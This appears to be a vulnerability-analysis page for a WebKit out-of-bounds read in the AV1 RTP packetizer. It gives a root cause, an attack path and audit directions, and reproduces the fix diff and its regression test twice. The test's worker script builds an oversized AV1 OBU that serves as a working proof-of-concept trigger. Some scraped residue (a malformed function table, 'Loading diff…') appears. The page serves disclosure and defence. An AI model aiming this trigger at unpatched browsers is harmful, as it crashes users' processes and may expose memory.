Medium webkit OOB 🔧 Commit mapped

Overview

Medium
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactProcessing maliciously crafted web content may lead to an unexpected process crash
DescriptionAn out-of-bounds read was addressed with improved bounds checking.
ComponentWebKit
Bug ClassOOB
Tracker323079
Fix commit39d8ce57a338 (webkit) +110/-1
CISA KEVNot listed
CreditedNarendra Singh (@_3P1C), an anonymous researcher
Disclosed2026-10-26

Background

`RtpPacketizerAv1`
libwebrtc component (vendored into WebKit under Source/ThirdParty/libwebrtc) that fragments an AV1 encoded frame into RTP packets for WebRTC transport.
OBU (Open Bitstream Unit)
An AV1 encoded frame is a sequence of OBUs; each has a header, a LEB128-encoded size, and a payload. RtpPacketizerAv1::ParseObus parses these into Obu structs with size (encoded size, int) and payload.
`RTCRtpScriptTransform`
A WebRTC API letting page script/worker code rewrite outgoing encoded frames before they are packetized, i.e. attacker-controlled bytes reach ParseObus/PacketizeInternal.
`limits.max_payload_len`
Max bytes of OBU data per RTP packet; the packetizer walks the OBU in max_payload_len strides.
`WEBRTC_WEBKIT_BUILD`
WebKit-specific hardening guard; the overflow checks here are WebKit-only.
Signed `int` arithmetic
obu.size and obu_offset are int; expressions like obu_offset + max_payload_len can overflow INT_MAX (undefined/wrapping to negative), breaking loop bounds.

Root Cause Analysis

Two related signed-integer issues in Source/ThirdParty/libwebrtc/.../rtp_packetizer_av1.cc let an oversized AV1 OBU drive out-of-bounds reads. First, in ParseObus the size sanity check was if (obu.payload.size() > static_cast<size_t>(std::numeric_limits<int>::max() - obu.size)). This guards only the payload + obu.size sum, but does not bound obu.size itself: if obu.size is near or at INT_MAX, INT_MAX - obu.size is a tiny or negative value and the later encoding (which adds a LEB128 size prefix of up to 5 bytes) can still overflow int, so an attacker-chosen huge OBU slips through validation. Second, and the exploitable sink, PacketizeInternal’s fragmentation loop used obu_offset + limits.max_payload_len < obu.size. With obu.size chosen close to INT_MAX, obu_offset + limits.max_payload_len overflows signed int and wraps to a negative value, which is always < obu.size, so the loop condition never terminates correctly and obu_offset advances past the actual buffer, causing the packet-copy to read out of bounds of the OBU payload.

The patch hardens both. In ParseObus it introduces kMaxLeb128SizeForInt = 5 and kMaxObuEncodedSize = INT_MAX - kMaxLeb128SizeForInt, and changes the check to if (obu.size > kMaxObuEncodedSize || obu.payload.size() > kMaxObuEncodedSize - obu.size) — now explicitly rejecting an obu.size that is itself too large and computing the remaining budget without overflow. In PacketizeInternal the loop condition is rewritten (under WEBRTC_WEBKIT_BUILD) to obu.size >= limits.max_payload_len && obu_offset < obu.size - limits.max_payload_len, which first guards against the subtraction underflowing and then compares obu_offset against a value computed by subtraction (never overflowing), eliminating the wrap-to-negative that defeated the old bound. The advisory labels this an out-of-bounds read from missing bounds checking; the diff substantiates OOB read driven by signed-integer overflow. The WPT test supplies an OBU with payloadSize = 0x7FFFFFFE (INT_MAX-1) via an RTCRtpScriptTransform and asserts no crash.

Key insight
The fragmentation loop bound obu_offset + limits.max_payload_len < obu.size overflows signed int when obu.size is near INT_MAX, wrapping to a negative value that is always less than obu.size, so the loop walks obu_offset past the payload and reads out of bounds — and the pre-check never bounded obu.size itself.

Attack Path

  1. Enable AV1 WebRTC Attacker page establishes an RTCPeerConnection with AV1 codec preferences and attaches an RTCRtpScriptTransform (worker) to the sender.
  2. Forge an oversized OBU In the transform worker, replace an outgoing encoded frame’s data with a single AV1 OBU whose LEB128-encoded size is 0x7FFFFFFE (INT_MAX-1), header 0x32 (OBU_FRAME, has_size).
  3. Slip past validation The oversized obu.size passes the old ParseObus check because that check only bounded payload + obu.size, not obu.size alone.
  4. Overflow the loop bound PacketizeInternal’s obu_offset + limits.max_payload_len overflows signed int to a negative value, so < obu.size stays true and obu_offset advances beyond the real buffer.
  5. Out-of-bounds read The per-packet copy reads OBU payload bytes past the end of the allocation (the allocation is far smaller than the claimed INT_MAX-1, or the stride walks past it).
  6. Crash / info-exposure primitive The OOB read causes an unexpected process crash (advisory’s stated impact); any read-back of adjacent heap memory into packets is an info-disclosure escalation not proven by the diff (inferred).

Impact Assessment

This is a renderer/WebRTC-stack out-of-bounds read reachable from unprivileged JavaScript that sets up a WebRTC AV1 sender with an encoded-transform worker, giving the attacker direct control of the bytes fed to RtpPacketizerAv1. The primitive is an OOB read of the AV1 OBU payload driven by signed-integer overflow of the fragmentation loop bound. Apple’s advisory states an unexpected process crash, which the diff substantiates; whether the out-of-bounds bytes are observable (info leak) rather than merely crashing is an escalation not shown by the diff (inferred). The hardening is WebKit-specific (WEBRTC_WEBKIT_BUILD), so the preconditions are simply reaching the AV1 packetizer with a crafted oversized OBU.

Changed Functions

FunctionChangeNotes
if
LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash.html
modified
if
LayoutTests/http/wpt/webrtc/av1-packetizer-large-obu-overflow-worker.js
modified

Files Changed

  • LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash-expected.txt
  • LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash.html
  • LayoutTests/http/wpt/webrtc/av1-packetizer-large-obu-overflow-worker.js
  • Source/ThirdParty/libwebrtc/Source/webrtc/modules/rtp_rtcp/source/rtp_packetizer_av1.cc

Audit Directions

  • Signed-`int` size arithmetic in media parsers
    Audit other libwebrtc/codec packetizers and depacketizers (VP8/VP9/H.264/H.265) for offset + stride < size loop bounds and INT_MAX - x checks that can overflow with attacker-chosen sizes.
  • Encoded-transform attack surface
    Review all code paths consuming RTCRtpScriptTransform-rewritten frames, since they place attacker-controlled sizes/bytes directly into native parsers.
  • LEB128 / size-prefix handling
    Check AV1 and other LEB128 size decoders for cases where the encoded size prefix pushes a near-INT_MAX value over the limit without a dedicated upper-bound check.
  • Non-WebKit vs WebKit guards
    Note the fix is gated on WEBRTC_WEBKIT_BUILD; confirm upstream libwebrtc and other embedders carry equivalent bounds, and look for other #if WEBRTC_WEBKIT_BUILD divergences that may lag.
diff --git a/Source/ThirdParty/libwebrtc/Source/webrtc/modules/rtp_rtcp/source/rtp_packetizer_av1.cc b/Source/ThirdParty/libwebrtc/Source/webrtc/modules/rtp_rtcp/source/rtp_packetizer_av1.cc
index 777c2d5574e5..8a242ba91af0 100644
--- a/Source/ThirdParty/libwebrtc/Source/webrtc/modules/rtp_rtcp/source/rtp_packetizer_av1.cc
+++ b/Source/ThirdParty/libwebrtc/Source/webrtc/modules/rtp_rtcp/source/rtp_packetizer_av1.cc
@@ -120,7 +120,9 @@ std::vector<RtpPacketizerAv1::Obu> RtpPacketizerAv1::ParseObus(
       payload_reader.Consume(size);
     }
 #if WEBRTC_WEBKIT_BUILD
-    if (obu.payload.size() > static_cast<size_t>(std::numeric_limits<int>::max() - obu.size)) {
+    static constexpr int kMaxLeb128SizeForInt = 5;
+    static constexpr int kMaxObuEncodedSize = std::numeric_limits<int>::max() - kMaxLeb128SizeForInt;
+    if (obu.size > kMaxObuEncodedSize || obu.payload.size() > kMaxObuEncodedSize - obu.size) {
       RTC_DLOG(LS_ERROR) << "Malformed AV1 input: OBU payload size "
                          << obu.payload.size()
                          << " exceeds maximum supported size";
@@ -260,7 +262,11 @@ std::vector<RtpPacketizerAv1::Packet> RtpPacketizerAv1::PacketizeInternal(
     // packet capacity is always limits.max_payload_len.
     int obu_offset;
     for (obu_offset = first_fragment_size;
+#if WEBRTC_WEBKIT_BUILD
+         obu.size >= limits.max_payload_len && obu_offset < obu.size - limits.max_payload_len;
+#else
          obu_offset + limits.max_payload_len < obu.size;
+#endif
          obu_offset += limits.max_payload_len) {
       packets.emplace_back(/*first_obu_index=*/obu_index);
       Packet& middle_packet = packets.back();
diff --git a/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash-expected.txt b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash-expected.txt
new file mode 100644
index 000000000000..12d95c1300e8
--- /dev/null
+++ b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash-expected.txt
@@ -0,0 +1,3 @@
+
+PASS RtpPacketizerAv1 must not read out of bounds when an encoded transform supplies a very big OBU
+
diff --git a/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash.html b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash.html
new file mode 100644
index 000000000000..9e14217d73ac
--- /dev/null
+++ b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash.html
@@ -0,0 +1,60 @@
+<!DOCTYPE html><!-- webkit-test-runner [ WebRTCAV1CodecEnabled=true ] -->
+<html>
+<head>
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+</head>
+<body>
+<canvas id="cv" width="64" height="64"></canvas>
+<script>
+promise_test(async t => {
+    const av1Codecs = RTCRtpSender.getCapabilities("video").codecs.filter(c => /AV1/i.test(c.mimeType));
+    if (!av1Codecs.length) {
+console.log("test");
+        return;
+}
+
+    const ctx = cv.getContext("2d");
+    let hue = 0;
+    (function draw() {
+        ctx.fillStyle = `hsl(${hue++ % 360},100%,50%)`;
+        ctx.fillRect(0, 0, 64, 64);
+        t.step_timeout(draw, 33);
+    })();
+    const stream = cv.captureStream(30);
+
+    const worker = new Worker("av1-packetizer-large-obu-overflow-worker.js");
+    const wroteFrame = new Promise(resolve => {
+        worker.onmessage = e => {
+            if (e.data === "wrote" || e.data === "alloc-failed")
+                resolve(e.data);
+        };
+    });
+
+    const pc1 = new RTCPeerConnection();
+    const pc2 = new RTCPeerConnection();
+    t.add_cleanup(() => { pc1.close(); pc2.close(); stream.getTracks().forEach(tr => tr.stop()); worker.terminate(); });
+    pc1.onicecandidate = e => e.candidate && pc2.addIceCandidate(e.candidate);
+    pc2.onicecandidate = e => e.candidate && pc1.addIceCandidate(e.candidate);
+
+    const sender = pc1.addTrack(stream.getVideoTracks()[0], stream);
+    pc1.getTransceivers()[0].setCodecPreferences(av1Codecs);
+    sender.transform = new RTCRtpScriptTransform(worker);
+
+    await pc1.setLocalDescription(await pc1.createOffer());
+    await pc2.setRemoteDescription(pc1.localDescription);
+    await pc2.setLocalDescription(await pc2.createAnswer());
+    await pc1.setRemoteDescription(pc2.localDescription);
+
+    const result = await Promise.race([
+        wroteFrame,
+        new Promise(resolve => t.step_timeout(() => resolve("timeout"), 10000)),
+    ]);
+    assert_true(result === "wrote" || result === "alloc-failed" || result === "timeout", "transform reached: " + result);
+
+    // Give the packetizer a moment to process the oversized frame.
+    await new Promise(resolve => t.step_timeout(resolve, 500));
+}, "RtpPacketizerAv1 must not read out of bounds when an encoded transform supplies a very big OBU");
+</script>
+</body>
+</html>
diff --git a/LayoutTests/http/wpt/webrtc/av1-packetizer-large-obu-overflow-worker.js b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-obu-overflow-worker.js
new file mode 100644
index 000000000000..662a9511c482
--- /dev/null
+++ b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-obu-overflow-worker.js
@@ -0,0 +1,40 @@
+onrtctransform = (event) => {
+    const transformer = event.transformer;
+    const reader = transformer.readable.getReader();
+    const writer = transformer.writable.getWriter();
+    let fired = false;
+
+    function process() {
+        reader.read().then(({ value, done }) => {
+            if (done)
+                return;
+
+            if (!fired) {
+                fired = true;
+                try {
+                    // Single AV1 OBU: header 0x32 (OBU_FRAME, has_size, no extension),
+                    // leb128(0x7FFFFFFE) = FE FF FF FF 07, then INT_MAX-1 zero bytes.
+                    const payloadSize = 0x7FFFFFFE;
+                    const buf = new ArrayBuffer(1 + 5 + payloadSize);
+                    const u8 = new Uint8Array(buf, 0, 6);
+                    u8[0] = 0x32;
+                    u8[1] = 0xFE;
+                    u8[2] = 0xFF;
+                    u8[3] = 0xFF;
+                    u8[4] = 0xFF;
+                    u8[5] = 0x07;
+                    value.data = buf;
+                    self.postMessage("frame replaced");
+                } catch (e) {
+                    self.postMessage("allocation failed: " + e);
+                }
+            }
+
+            writer.write(value);
+            process();
+        }).catch(e => self.postMessage("read error: " + e));
+    }
+    process();
+};
+
+self.postMessage("registered");
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash-expected.txt b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash-expected.txt
new file mode 100644
index 000000000000..12d95c1300e8
--- /dev/null
+++ b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash-expected.txt
@@ -0,0 +1,3 @@
+
+PASS RtpPacketizerAv1 must not read out of bounds when an encoded transform supplies a very big OBU
+
diff --git a/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash.html b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash.html
new file mode 100644
index 000000000000..9e14217d73ac
--- /dev/null
+++ b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-encoded-frame-no-crash.html
@@ -0,0 +1,60 @@
+<!DOCTYPE html><!-- webkit-test-runner [ WebRTCAV1CodecEnabled=true ] -->
+<html>
+<head>
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+</head>
+<body>
+<canvas id="cv" width="64" height="64"></canvas>
+<script>
+promise_test(async t => {
+    const av1Codecs = RTCRtpSender.getCapabilities("video").codecs.filter(c => /AV1/i.test(c.mimeType));
+    if (!av1Codecs.length) {
+console.log("test");
+        return;
+}
+
+    const ctx = cv.getContext("2d");
+    let hue = 0;
+    (function draw() {
+        ctx.fillStyle = `hsl(${hue++ % 360},100%,50%)`;
+        ctx.fillRect(0, 0, 64, 64);
+        t.step_timeout(draw, 33);
+    })();
+    const stream = cv.captureStream(30);
+
+    const worker = new Worker("av1-packetizer-large-obu-overflow-worker.js");
+    const wroteFrame = new Promise(resolve => {
+        worker.onmessage = e => {
+            if (e.data === "wrote" || e.data === "alloc-failed")
+                resolve(e.data);
+        };
+    });
+
+    const pc1 = new RTCPeerConnection();
+    const pc2 = new RTCPeerConnection();
+    t.add_cleanup(() => { pc1.close(); pc2.close(); stream.getTracks().forEach(tr => tr.stop()); worker.terminate(); });
+    pc1.onicecandidate = e => e.candidate && pc2.addIceCandidate(e.candidate);
+    pc2.onicecandidate = e => e.candidate && pc1.addIceCandidate(e.candidate);
+
+    const sender = pc1.addTrack(stream.getVideoTracks()[0], stream);
+    pc1.getTransceivers()[0].setCodecPreferences(av1Codecs);
+    sender.transform = new RTCRtpScriptTransform(worker);
+
+    await pc1.setLocalDescription(await pc1.createOffer());
+    await pc2.setRemoteDescription(pc1.localDescription);
+    await pc2.setLocalDescription(await pc2.createAnswer());
+    await pc1.setRemoteDescription(pc2.localDescription);
+
+    const result = await Promise.race([
+        wroteFrame,
+        new Promise(resolve => t.step_timeout(() => resolve("timeout"), 10000)),
+    ]);
+    assert_true(result === "wrote" || result === "alloc-failed" || result === "timeout", "transform reached: " + result);
+
+    // Give the packetizer a moment to process the oversized frame.
+    await new Promise(resolve => t.step_timeout(resolve, 500));
+}, "RtpPacketizerAv1 must not read out of bounds when an encoded transform supplies a very big OBU");
+</script>
+</body>
+</html>
diff --git a/LayoutTests/http/wpt/webrtc/av1-packetizer-large-obu-overflow-worker.js b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-obu-overflow-worker.js
new file mode 100644
index 000000000000..662a9511c482
--- /dev/null
+++ b/LayoutTests/http/wpt/webrtc/av1-packetizer-large-obu-overflow-worker.js
@@ -0,0 +1,40 @@
+onrtctransform = (event) => {
+    const transformer = event.transformer;
+    const reader = transformer.readable.getReader();
+    const writer = transformer.writable.getWriter();
+    let fired = false;
+
+    function process() {
+        reader.read().then(({ value, done }) => {
+            if (done)
+                return;
+
+            if (!fired) {
+                fired = true;
+                try {
+                    // Single AV1 OBU: header 0x32 (OBU_FRAME, has_size, no extension),
+                    // leb128(0x7FFFFFFE) = FE FF FF FF 07, then INT_MAX-1 zero bytes.
+                    const payloadSize = 0x7FFFFFFE;
+                    const buf = new ArrayBuffer(1 + 5 + payloadSize);
+                    const u8 = new Uint8Array(buf, 0, 6);
+                    u8[0] = 0x32;
+                    u8[1] = 0xFE;
+                    u8[2] = 0xFF;
+                    u8[3] = 0xFF;
+                    u8[4] = 0xFF;
+                    u8[5] = 0x07;
+                    value.data = buf;
+                    self.postMessage("frame replaced");
+                } catch (e) {
+                    self.postMessage("allocation failed: " + e);
+                }
+            }
+
+            writer.write(value);
+            process();
+        }).catch(e => self.postMessage("read error: " + e));
+    }
+    process();
+};
+
+self.postMessage("registered");
Loading diff…